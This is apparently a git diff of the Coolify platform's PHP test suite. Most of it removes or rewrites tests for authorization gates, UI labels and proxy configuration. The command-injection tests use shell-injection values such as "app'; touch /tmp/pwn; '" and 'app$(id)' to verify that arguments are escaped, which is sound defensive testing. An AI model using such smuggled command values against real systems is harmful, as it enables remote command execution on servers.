->toMatch('/]*wire:click="confirmUseUnknownPort")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$application")[^>]*>/s'); - - expect($previewDomainsView) - ->toMatch('/toMatch('/after("@if (\$isStatic || \$buildPack === 'static')") - ->before('

toBe(3) - ->and($portsExposesControls->substrCount('canGate="update" :canResource="$application"'))->toBe(3); -}); - -it('keeps mutable Livewire components behind authorization checks', function (string $path, array $requiredNeedles) { - $source = file_get_contents(base_path($path)); - - foreach ($requiredNeedles as $needle) { - expect($source)->toContain($needle); - } -})->with([ - 'storage resources' => [ - 'app/Livewire/Storage/Resources.php', - ['AuthorizesRequests', "authorize('update'", "authorize('view'"], - ], - 'postgres init script editor' => [ - 'app/Livewire/Project/Database/InitScript.php', - ['AuthorizesRequests', "authorize('update'"], - ], - 'execute container command' => [ - 'app/Livewire/Project/Shared/ExecuteContainerCommand.php', - ['AuthorizesRequests', "authorize('view'", "authorize('canAccessTerminal'"], - ], - 'terminal' => [ - 'app/Livewire/Project/Shared/Terminal.php', - ['AuthorizesRequests', "authorize('view'", "authorize('canAccessTerminal'"], - ], - 'volume backup settings' => [ - 'app/Livewire/Project/Shared/Storages/VolumeBackups.php', - ['AuthorizesRequests', "authorize('view', \$this->resource)", "authorize('update', \$this->resource)"], - ], -]); - -it('authorizes every volume backup form control', function (string $path, array $controlPatterns) { - $source = file_get_contents(base_path($path)); - - foreach ($controlPatterns as $controlPattern) { - expect($source)->toMatch($controlPattern); - } -})->with([ - 'retention controls' => [ - 'resources/views/livewire/project/shared/storages/volume-backups/retention.blade.php', - [ - '/]*id="retentionAmountLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - '/]*id="retentionDaysLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - '/]*id="retentionMaxStorageLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - '/]*id="retentionAmountS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - '/]*id="retentionDaysS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - '/]*id="retentionMaxStorageS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s', - ], - ], - 'S3 controls' => [ - 'resources/views/livewire/project/shared/storages/volume-backups/s3.blade.php', - [ - '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Enable S3\s*<\/x-forms\.button>/s', - '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Disable S3\s*<\/x-forms\.button>/s', - '/ [ - 'resources/views/livewire/project/service/domains.blade.php', - [ - '/]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*id="newServiceApplicationId")[^>]*>/s', - '/@can\(\'update\', \$service\)[\s\S]*?]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>[\s\S]*?]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*wire:click="generateDomain")[^>]*>/s', - '/]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*type="submit")[^>]*>/s', - ], - ], - 'postgres public access control' => [ - 'resources/views/livewire/project/database/postgresql/general.blade.php', - [ - '/ [ - 'resources/views/livewire/project/database/redis/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/mongodb/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/clickhouse/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/mariadb/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/dragonfly/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/mysql/general.blade.php', - ['/ [ - 'resources/views/livewire/project/database/keydb/general.blade.php', - ['/ 'public']) ->assertSet('build_pack', 'railpack'); }); - - test('public repository flow keeps railpack available after branch lookup', function () { - Livewire::test(PublicGitRepository::class, ['type' => 'public']) - ->set('branchFound', true) - ->assertSeeInOrder(['Railpack', 'Nixpacks']); - }); - - test('deploy key repository flow shows railpack without beta label', function () { - Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key']) - ->set('current_step', 'repository') - ->assertSee('Railpack') - ->assertDontSee('Railpack (Beta)') - ->assertDontSee('Railpack (beta)'); - }); }); diff --git a/tests/Feature/PersistentStorageVolumesLayoutTest.php b/tests/Feature/PersistentStorageVolumesLayoutTest.php index c24d790379..ad9cb59766 100644 --- a/tests/Feature/PersistentStorageVolumesLayoutTest.php +++ b/tests/Feature/PersistentStorageVolumesLayoutTest.php @@ -24,16 +24,6 @@ use Livewire\Livewire; uses(RefreshDatabase::class); -it('keeps nested storage component keys stable when mounts are added or deleted', function () { - $view = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php')); - - expect($view) - ->toContain('wire:key="volumes-{{ $resource->id }}"') - ->toContain('wire:key="svc-volumes-{{ $resource->id }}"') - ->not->toContain('wire:key="volumes-{{ $resource->id }}-{{ $this->volumeCount }}"') - ->not->toContain('wire:key="svc-volumes-{{ $resource->id }}-{{ $this->volumeCount }}"'); -}); - beforeEach(function () { $this->withoutVite(); @@ -118,28 +108,6 @@ it('creates named Docker volumes without a source path in swarm mode', function expect($application->persistentStorages()->first()->host_path)->toBeNull(); }); -it('declares explicit authorization on the changed storage controls', function () { - $view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php')); - - preg_match( - '//', - $view, - $previewSuffixListbox - ); - - expect($previewSuffixListbox[0] ?? '') - ->toContain('canGate="update"') - ->toContain(':canResource="$resource"'); - - $backupAction = '/Backup<\/x-table\.row-action>/'; - preg_match('/@if \(\$canUpdate\)\s*/s', $view, $canUpdateBlock); - preg_match('/@can\(\'update\', \$resource\)(.*?)@endcan/s', $view, $canBlock); - - expect(preg_match_all($backupAction, $view))->toBe(3) - ->and(preg_match_all($backupAction, $canUpdateBlock[0] ?? ''))->toBe(1) - ->and(preg_match_all($backupAction, $canBlock[0] ?? ''))->toBe(2); -}); - it('creates named volumes without a host path in swarm mode', function () { [$application] = createApplicationWithVolume(); $application->persistentStorages()->delete(); diff --git a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php index ec7f1423d0..fde9b36efd 100644 --- a/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php +++ b/tests/Feature/ProjectAndEnvironmentSettingsButtonTest.php @@ -1,13 +1,11 @@ environment = $this->project->environments()->firstOrFail(); }); -test('project show page header links to project settings', function () { - $editUrl = route('project.edit', ['project_uuid' => $this->project->uuid]); - - Livewire::test(ProjectShow::class, ['project_uuid' => $this->project->uuid]) - ->assertSee('Open settings for Test Project', false) - ->assertSee('Project settings', false) - ->assertSeeHtml($editUrl); -}); - -test('environment resources page header links to environment settings', function () { - $editUrl = route('project.environment.edit', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - ]); - - $this->get(route('project.resource.index', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - ])) - ->assertSuccessful() - ->assertSee('Open settings for '.$this->environment->name, false) - ->assertSee('Environment settings', false) - ->assertSee($editUrl, false); -}); - test('empty environment resources page header links to the canvas', function () { $canvasUrl = route('project.environment.canvas', [ 'project_uuid' => $this->project->uuid, diff --git a/tests/Feature/ProxyAcmeCertificateUiTest.php b/tests/Feature/ProxyAcmeCertificateUiTest.php deleted file mode 100644 index f3fab3d44b..0000000000 --- a/tests/Feature/ProxyAcmeCertificateUiTest.php +++ /dev/null @@ -1,26 +0,0 @@ -toContain('submitAction="deleteTraefikCertificate') - ->toContain("@can('update', \$server)") - ->and($component) - ->toContain("\$this->authorize('update', \$this->server)"); -}); - -it('uses bounded reads and atomic restricted writes for the ACME file', function () { - $reader = file_get_contents(app_path('Actions/Proxy/GetTraefikCertificates.php')); - $writer = file_get_contents(app_path('Actions/Proxy/SaveTraefikAcmeFile.php')); - - expect($reader) - ->toContain('MAX_FILE_SIZE_BYTES') - ->toContain('head -c') - ->toContain('base64') - ->and($writer) - ->toContain('umask 077') - ->toContain('chmod 600') - ->toContain('mv --'); -}); diff --git a/tests/Feature/PullChangelogTest.php b/tests/Feature/PullChangelogTest.php index faadfb2cee..81d01790bd 100644 --- a/tests/Feature/PullChangelogTest.php +++ b/tests/Feature/PullChangelogTest.php @@ -55,18 +55,3 @@ test('PullChangelog fetches from the configured releases_url and writes the chan expect($data['entries'])->toHaveCount(1) ->and($data['entries'][0]['tag_name'])->toBe('v9.9.9'); }); - -test('PullChangelog skips draft releases', function () { - config(['constants.coolify.releases_url' => 'https://example.test/releases.json']); - - Http::fake([ - 'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200), - ]); - - (new PullChangelog)->handle(); - - $data = json_decode(File::get(base_path('changelogs/1999-01.json')), true); - - $tags = array_column($data['entries'], 'tag_name'); - expect($tags)->not->toContain('v9.9.8-draft'); -}); diff --git a/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php b/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php index 103b16c03b..2ba03b05d8 100644 --- a/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php +++ b/tests/Feature/RedisFamilyPasswordComposeEscapingTest.php @@ -92,10 +92,3 @@ test('dragonfly start command keeps dollars literal for exact password variables expect(redisFamilyStartCommand(new StartDragonfly, $dragonfly)) ->toBe("dragonfly --requirepass 'p4\$\$\$\$word'"); }); - -test('keydb and dragonfly healthchecks use the compose-escaped password', function () { - expect(file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php')) - ->toContain("'CMD', 'keydb-cli', '--pass', \$this->resolvedRedisPassword, 'ping'"); - expect(file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php')) - ->toContain("'CMD', 'redis-cli', '-a', \$this->resolvedRedisPassword, 'ping'"); -}); diff --git a/tests/Feature/ResourcePageTitleTest.php b/tests/Feature/ResourcePageTitleTest.php index a2c36b5e7f..0d78ee7c30 100644 --- a/tests/Feature/ResourcePageTitleTest.php +++ b/tests/Feature/ResourcePageTitleTest.php @@ -46,23 +46,6 @@ it('shows the source name and organization on the source page', function () { $response->assertSee('GitHub App for coollabsio'); }); -it('renders the team, notification, and key settings pages', function () { - $team = $this->get(route('team.index')); - $team->assertSuccessful(); - $team->assertSee('Manage your team, members, and access settings.'); - $team->assertSee('New team'); - - $notifications = $this->get(route('notifications.email')); - $notifications->assertSuccessful(); - $notifications->assertSee('Configure how your team receives deployment and system alerts.'); - - $keys = $this->get(route('security.private-key.index')); - $keys->assertSuccessful(); - $keys->assertSee('Manage SSH keys, cloud credentials, and API access tokens.'); - $keys->assertSee('Private Keys'); - $keys->assertSee('New private key'); -}); - it('shows the destination name and network server on the destination page', function () { $server = Server::factory()->create(['team_id' => $this->team->id, 'name' => 'prod-server']); $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); diff --git a/tests/Feature/ResourcePermissionCalloutTest.php b/tests/Feature/ResourcePermissionCalloutTest.php index 87ca23dd7e..f3351c63ee 100644 --- a/tests/Feature/ResourcePermissionCalloutTest.php +++ b/tests/Feature/ResourcePermissionCalloutTest.php @@ -34,7 +34,7 @@ function resourcePermissionCalloutApplicationFor(string $role): Application ]); } -it('shows one red insufficient permissions callout for resource operations when update is denied', function () { +it('shows one insufficient permissions callout for resource operations when update is denied', function () { $application = resourcePermissionCalloutApplicationFor('member'); $component = Livewire::test(ResourceOperations::class, ['resource' => $application]) @@ -45,12 +45,10 @@ it('shows one red insufficient permissions callout for resource operations when ->assertDontSee("You don't have permission to clone resources") ->assertDontSee("You don't have permission to move resources"); - expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1) - ->and($component->html())->toContain('bg-red-50') - ->and($component->html())->not->toContain('bg-warning-50'); + expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1); }); -it('shows the red insufficient permissions callout for tags when update is denied', function () { +it('shows the insufficient permissions callout for tags when update is denied', function () { $application = resourcePermissionCalloutApplicationFor('member'); $component = Livewire::test(Tags::class, ['resource' => $application]) @@ -59,7 +57,5 @@ it('shows the red insufficient permissions callout for tags when update is denie ->assertDontSee('Access Restricted') ->assertDontSee("You don't have permission to manage tags"); - expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1) - ->and($component->html())->toContain('bg-red-50') - ->and($component->html())->not->toContain('bg-warning-50'); + expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1); }); diff --git a/tests/Feature/ResponsiveCheckboxLayoutTest.php b/tests/Feature/ResponsiveCheckboxLayoutTest.php index 9e5904e701..90a47ac4f6 100644 --- a/tests/Feature/ResponsiveCheckboxLayoutTest.php +++ b/tests/Feature/ResponsiveCheckboxLayoutTest.php @@ -91,37 +91,6 @@ function assertResponsiveCheckboxMarkup($response): void expect($response->getContent())->not->toContain('min-w-fit'); } -it('renders responsive checkbox classes on the application configuration page', function () { - $response = $this->get(route('project.application.configuration', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - 'application_uuid' => $this->application->uuid, - ])); - - $response->assertSuccessful(); - $response->assertSee('Builder selection'); - $response->assertSee('application-mobile-actions'); - $response->assertSee('application-mobile-stop-trigger'); - $response->assertSee('application-mobile-restart-trigger'); - $response->assertSee('wire:click="deploy"', false); - $response->assertSee('wire:click="force_deploy_without_cache"', false); - $response->assertDontSee('Confirm Application Deployment?'); - $response->assertSee('Confirm Application Restart?'); - $response->assertDontSee('Confirm Application Force Deployment?'); - $response->assertSee(route('project.application.deployment.index', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - 'application_uuid' => $this->application->uuid, - ])); - $response->assertSee(route('project.application.environment-variables', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - 'application_uuid' => $this->application->uuid, - ])); - - assertResponsiveCheckboxMarkup($response); -}); - it('renders responsive checkbox classes on the server page', function () { $response = $this->get(route('server.show', [ 'server_uuid' => $this->server->uuid, diff --git a/tests/Feature/ReverbAndTerminalPackagingTest.php b/tests/Feature/ReverbAndTerminalPackagingTest.php index 185108a66a..92709a0469 100644 --- a/tests/Feature/ReverbAndTerminalPackagingTest.php +++ b/tests/Feature/ReverbAndTerminalPackagingTest.php @@ -23,14 +23,6 @@ it('uses Reverb as the first-party broadcast server', function () { ->and(file_exists(config_path('reverb.php')))->toBeTrue(); }); -it('does not send server-side broadcasts to the browser-facing Pusher host', function () { - $reverbConnection = Str::between(file_get_contents(config_path('broadcasting.php')), "'reverb' => [", "'pusher' => ["); - - expect($reverbConnection) - ->not->toContain('PUSHER_HOST') - ->not->toContain("env('PUSHER_SCHEME'"); -}); - it('keeps working with environment variables from installs that used the realtime container', function (array $environment, string $connection, string $expectedHost) { $previous = []; @@ -163,22 +155,6 @@ it('uses the browser host and page TLS mode for development Reverb connections', ->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"'); }); -it('proxies Reverb and terminal websocket traffic to the Coolify app container', function () { - $serverModel = file_get_contents(app_path('Models/Server.php')); - - expect($serverModel) - ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/app`)\"") - ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/apps`)\"") - ->toContain("'rule' => \"Host(`{\$host}`) && PathPrefix(`/terminal/ws`)\"") - ->toContain("'url' => 'http://coolify:6001'") - ->toContain("'url' => 'http://coolify:6002'") - ->toContain('reverse_proxy coolify:6001') - ->toContain('reverse_proxy coolify:6002') - ->not->toContain('http://coolify-realtime:6001') - ->not->toContain('http://coolify-realtime:6002') - ->not->toContain('reverse_proxy coolify-realtime'); -}); - it('uses Pusher environment keys for self-hosted Reverb compatibility', function () { $files = [ '.env.production', diff --git a/tests/Feature/ScheduledTaskCrossTeamIdorTest.php b/tests/Feature/ScheduledTaskCrossTeamIdorTest.php index bb5792ca07..715f3287e0 100644 --- a/tests/Feature/ScheduledTaskCrossTeamIdorTest.php +++ b/tests/Feature/ScheduledTaskCrossTeamIdorTest.php @@ -13,7 +13,7 @@ use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Gate; -use Livewire\Attributes\Locked; +use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -46,33 +46,25 @@ beforeEach(function () { }); describe('ScheduledTask locked properties', function () { - test('Show component task property has Locked attribute', function () { - $property = new ReflectionProperty(Show::class, 'task'); - $attributes = $property->getAttributes(Locked::class); + test('rejects client updates to the task and resource identity', function (string $component, string $property) { + $ownTask = ScheduledTask::factory()->create([ + 'team_id' => $this->attackerTeam->id, + 'application_id' => $this->application->id, + ]); + $victimTask = ScheduledTask::factory()->create(['team_id' => $this->victimTeam->id]); - expect($attributes)->not->toBeEmpty(); - }); + $parameters = $component === Show::class + ? ['resource' => $this->application, 'task' => $ownTask] + : ['taskId' => $ownTask->id]; - test('Show component resource property has Locked attribute', function () { - $property = new ReflectionProperty(Show::class, 'resource'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('Executions component task id property has Locked attribute', function () { - $property = new ReflectionProperty(Executions::class, 'taskId'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('Executions component selected execution property has Locked attribute', function () { - $property = new ReflectionProperty(Executions::class, 'selectedExecution'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); + expect(fn () => Livewire::test($component, $parameters)->set($property, $victimTask->id)) + ->toThrow(CannotUpdateLockedPropertyException::class); + })->with([ + 'show task' => [Show::class, 'task'], + 'show resource' => [Show::class, 'resource'], + 'executions task id' => [Executions::class, 'taskId'], + 'executions selected execution' => [Executions::class, 'selectedExecution'], + ]); }); describe('ScheduledTask cross-team access', function () { diff --git a/tests/Feature/Security/CloudInitScriptsTest.php b/tests/Feature/Security/CloudInitScriptsTest.php index 2db7575b8d..df12dc10ad 100644 --- a/tests/Feature/Security/CloudInitScriptsTest.php +++ b/tests/Feature/Security/CloudInitScriptsTest.php @@ -1,7 +1,6 @@ $this->team]); }); -test('cloud-init scripts page describes scripts for every cloud provider', function () { - Livewire::test(CloudInitScripts::class) - ->assertSee('Reusable initialization scripts for cloud servers.') - ->assertDontSee('Currently working only with Hetzner'); -}); - -test('cloud-init script form does not show a cancel button in the modal', function () { - Livewire::test(CloudInitScriptForm::class) - ->assertSee('Create script') - ->assertDontSee('Cancel'); -}); - -test('cloud-init script cards open the modal editor without inline actions or created time', function () { - $script = CloudInitScript::query()->create([ - 'team_id' => $this->team->id, - 'name' => 'Docker Host Setup', - 'script' => "#cloud-config\npackages:\n - htop\n", - ]); - - Livewire::test(CloudInitScripts::class) - ->assertSee('Docker Host Setup') - ->assertSee('Edit Cloud-Init Script') - ->assertDontSee(route('security.cloud-init-scripts.show', ['cloud_init_script_uuid' => $script->uuid]), false) - ->assertDontSee('Created') - ->assertSee('Delete'); -}); - test('cloud-init script detail page shows editable script fields', function () { $script = CloudInitScript::query()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/Security/CloudProviderTokenFormTest.php b/tests/Feature/Security/CloudProviderTokenFormTest.php index f1e6af5cde..44b68e8d3a 100644 --- a/tests/Feature/Security/CloudProviderTokenFormTest.php +++ b/tests/Feature/Security/CloudProviderTokenFormTest.php @@ -55,15 +55,6 @@ test('adding a digitalocean token from a modal closes the modal and refreshes di && data_get($dispatch, 'to') === 'security.cloud-provider-tokens'))->toBeTrue(); }); -test('security cloud token form lets users choose every supported provider', function () { - Livewire::test(CloudProviderTokenForm::class) - ->assertSee('Provider') - ->assertSee('Hetzner') - ->assertSee('DigitalOcean') - ->assertSee('Vultr') - ->assertSee('Hostinger'); -}); - test('adding a hostinger token from a modal validates and refreshes hostinger token selectors', function () { Http::fake([ 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([], 200), diff --git a/tests/Feature/Security/CloudProviderTokenShowTest.php b/tests/Feature/Security/CloudProviderTokenShowTest.php index 822b242f64..31484e6414 100644 --- a/tests/Feature/Security/CloudProviderTokenShowTest.php +++ b/tests/Feature/Security/CloudProviderTokenShowTest.php @@ -1,7 +1,6 @@ actingAs($this->user); }); -test('saved cloud token rows render frontend-only modal editors', function () { - $token = CloudProviderToken::factory()->create([ - 'team_id' => $this->team->id, - 'name' => 'Production Hetzner', - ]); - - Livewire::test(CloudProviderTokens::class) - ->assertSee('Edit Cloud Token') - ->assertSee('Production Hetzner') - ->assertDontSee(route('security.cloud-tokens.show', ['cloud_token_uuid' => $token->uuid]), false); -}); - test('cloud token detail page shows editable name and description fields', function () { $token = CloudProviderToken::factory()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php index 5c6812e4e6..f52aad9b50 100644 --- a/tests/Feature/Security/CommandInjectionSecurityTest.php +++ b/tests/Feature/Security/CommandInjectionSecurityTest.php @@ -1,13 +1,29 @@ 0]); + config(['app.maintenance.store' => 'array', 'constants.ssh.mux_enabled' => false]); + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $service = Service::factory()->create([ + 'environment_id' => Environment::factory()->create(['project_id' => $project->id])->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'docker_compose_raw' => "services:\n app:\n image: busybox:latest\n", + ]); + $service->parse(); + $serviceApplication = $service->applications()->firstOrFail(); + $payload = "app'; touch /tmp/pwn; '"; + $serviceApplication->name = $payload; - expect($source)->toContain('escapeshellarg($workdir)') - ->and($source)->toContain('escapeshellarg($composeFile)') - ->and($source)->toContain('escapeshellarg($service->uuid)') - ->and($source)->toContain('escapeshellarg($composeServiceName)'); + $script = RemoteProcessCommand::read(DeployServiceApplication::run($serviceApplication, pullLatestImages: true)); + + $compose = '--project-directory '.escapeshellarg($service->workdir()).' -f '.escapeshellarg($service->workdir().'/docker-compose.yml').' --project-name '.escapeshellarg($service->uuid); + expect($script) + ->toContain("docker compose {$compose} pull ".escapeshellarg($payload).' < /dev/null') + ->toContain("docker compose {$compose} up -d --no-deps ".escapeshellarg($payload).' < /dev/null') + ->not->toContain("pull {$payload}") + ->not->toContain("--no-deps {$payload}"); }); test('predefined network connect command escapes the container name', function () { @@ -953,31 +995,63 @@ describe('service application lifecycle command escaping', function () { ->toContain(" 'app$(id)-svc-uuid' | grep -qxF 'coolify' || docker network connect --alias 'app$(id)-svc-uuid' 'coolify' 'app$(id)-svc-uuid' || echo 'Warning: Could not connect app$(id) to the coolify network.'"); }); - test('service application restart and stop actions escape container names', function (string $path) { - $source = file_get_contents(app_path($path)); + test('docker status helper escapes container names', function (bool $isSwarm, string $expected) { + $server = (new Server)->forceFill(['id' => 1]); + $server->setRelation('settings', (new ServerSetting)->forceFill(['is_swarm_manager' => $isSwarm, 'is_swarm_worker' => false])); - expect($source)->toContain('escapeshellarg($serviceApplication->name'); + expect(buildContainerStatusCommand($server, 'app$(id)'))->toBe($expected); })->with([ - 'restart action' => 'Actions/Service/RestartServiceApplication.php', - 'stop action' => 'Actions/Service/StopServiceApplication.php', + 'docker' => [false, "docker inspect --format '{{json .}}' 'app\$(id)'"], + 'swarm' => [true, "docker service ls --filter 'name=app\$(id)' --format '{{json .}}' "], ]); - test('docker status helper escapes container names', function () { - $source = file_get_contents(base_path('bootstrap/helpers/docker.php')); - - expect($source)->toContain('function buildContainerStatusCommand') - ->and($source)->toContain('escapeshellarg("name={$container_id}")') - ->and($source)->toContain('escapeshellarg($container_id)'); - }); - test('application deployment shell commands escape the generated container name', function () { - $source = file_get_contents(app_path('Jobs/ApplicationDeploymentJob.php')); + $containerName = "app'; touch /tmp/pwn; '"; + $escapedContainerName = escapeshellarg($containerName); + $commands = collect(); + $job = new class($commands) extends ApplicationDeploymentJob + { + public function __construct(public Collection $capturedCommands) {} - expect($source)->toContain('$escapedContainerName = escapeshellarg($this->container_name)') - ->and($source)->toContain("docker inspect --format='{{json .State.Health.Status}}' {\$escapedContainerName}") - ->and($source)->toContain("docker inspect --format='{{json .State.Health.Log}}' {\$escapedContainerName}") - ->and($source)->toContain('docker logs -n 100 {$escapedContainerName}') - ->and($source)->toContain('dockerStopCommand($timeout, escapeshellarg($containerName), $this->server)'); + public function execute_remote_command(...$commands) + { + foreach ($commands as $command) { + $this->capturedCommands->push(data_get($command, 'command') ?? $command[0]); + } + } + }; + $application = (new Application)->forceFill([ + 'health_check_enabled' => true, + 'health_check_start_period' => 0, + 'health_check_retries' => 1, + 'health_check_interval' => 0, + ]); + $application->setRelation('settings', (new ApplicationSetting)->forceFill(['stop_grace_period' => 10])); + $server = (new Server)->forceFill(['id' => 1]); + $server->setRelation('settings', (new ServerSetting)->forceFill(['is_swarm_manager' => false, 'is_swarm_worker' => false])); + $queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + $queue->shouldReceive('addLogEntry'); + foreach ([ + 'application' => $application, + 'application_deployment_queue' => $queue, + 'server' => $server, + 'container_name' => $containerName, + 'deployment_uuid' => 'deploy-uuid', + 'saved_outputs' => collect(), + ] as $property => $value) { + (new ReflectionProperty(ApplicationDeploymentJob::class, $property))->setValue($job, $value); + } + + (new ReflectionMethod(ApplicationDeploymentJob::class, 'health_check'))->invoke($job); + (new ReflectionMethod(ApplicationDeploymentJob::class, 'query_logs'))->invoke($job); + (new ReflectionMethod(ApplicationDeploymentJob::class, 'graceful_shutdown_container'))->invoke($job, $containerName); + + expect($commands->all()) + ->toContain("docker inspect --format='{{json .State.Health.Status}}' {$escapedContainerName}") + ->toContain("docker inspect --format='{{json .State.Health.Log}}' {$escapedContainerName}") + ->toContain("docker logs -n 100 {$escapedContainerName}") + ->toContain(dockerStopCommand(10, $escapedContainerName, $server)) + ->and($commands->implode("\n"))->not->toContain(" {$containerName}"); }); }); diff --git a/tests/Feature/Security/IntegrationTokenFormTest.php b/tests/Feature/Security/IntegrationTokenFormTest.php index 6774b3ebe5..855e141a6e 100644 --- a/tests/Feature/Security/IntegrationTokenFormTest.php +++ b/tests/Feature/Security/IntegrationTokenFormTest.php @@ -200,29 +200,6 @@ test('integration tokens page lists saved provider and capabilities', function ( ->assertSee('DNS'); }); -test('cloudflare dns scope guidance and token creation link are shown', function () { - Livewire::test(IntegrationTokenForm::class) - ->set('capabilities', ['dns']) - ->assertSee('Zone - DNS - Edit') - ->assertSee('Zone - Zone - Read') - ->assertSeeHtml(e(IntegrationToken::cloudflareTokenTemplateUrl(['dns']))); -}); - -test('saved integration token rows render modal editors with a gear button', function () { - IntegrationToken::query()->create([ - 'team_id' => $this->team->id, - 'provider' => 'cloudflare', - 'name' => 'Production DNS', - 'token' => 'original-token', - 'capabilities' => ['dns'], - ]); - - Livewire::test(IntegrationTokens::class) - ->assertSee('Edit Integration Token') - ->assertSee('Production DNS') - ->assertSeeHtml(':aria-label="`Edit ${tokenName}`"'); -}); - test('an integration token can be rotated after validating its capabilities', function () { Http::fake([ 'https://api.cloudflare.com/client/v4/user/tokens/verify' => Http::response([ @@ -332,18 +309,6 @@ test('an invalid replacement does not rotate the integration token', function () expect($savedToken->fresh()->token)->toBe('original-token'); }); -test('new integration token form controls declare authorization matching server-side actions', function () { - $editor = file_get_contents(resource_path('views/livewire/security/integration-token-editor.blade.php')); - $form = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php')); - - expect($editor) - ->toMatch('/]*id="edit-automatic-dns")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$integrationToken")[^>]*>/') - ->toMatch('/]*wire:click="refreshZones")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$integrationToken")[^>]*>/'); - - expect($form) - ->toMatch('/]*id="automatic-dns")(?=[^>]*canGate="create")(?=[^>]*:canResource="\\\\App\\\\Models\\\\IntegrationToken::class")[^>]*>/'); -}); - function vaultIntegrationToken(Team $team, array $metadata = ['base_url' => 'https://example.com:8200']): IntegrationToken { return IntegrationToken::query()->create([ diff --git a/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php b/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php index 794195504a..8cdc89a1d9 100644 --- a/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php +++ b/tests/Feature/Security/IntegrationTokenSecretProvidersTest.php @@ -132,12 +132,6 @@ test('secret manager provider base urls only accept http and https', function (s 'vault' => ['vault', ['base_url' => 'ftp://vault.example.com']], ]); -test('the infisical fields put the client id before the client secret', function () { - Livewire::test(IntegrationTokenForm::class) - ->set('provider', 'infisical') - ->assertSeeInOrder(['Token name', 'Client ID', 'Client secret', 'Base URL']); -}); - test('an infisical token stores its metadata after a successful login', function () { Http::fake([ 'https://example.com/api/v1/auth/universal-auth/login' => Http::response([ diff --git a/tests/Feature/Security/PrivateKeyDropdownTest.php b/tests/Feature/Security/PrivateKeyDropdownTest.php index 01921f7274..2f6c8b5abb 100644 --- a/tests/Feature/Security/PrivateKeyDropdownTest.php +++ b/tests/Feature/Security/PrivateKeyDropdownTest.php @@ -1,6 +1,5 @@ assertSee('New private key') - ->assertSee('Generate ED25519') - ->assertSee('Generate RSA') - ->assertSee('Add manually') - ->assertDontSee('Manage your SSH keys for your servers and integrations.'); -}); - test('generating a private key from the index stores it without redirecting to a detail page', function () { $component = Livewire::test(Index::class) ->call('generatePrivateKey', 'ed25519'); @@ -76,21 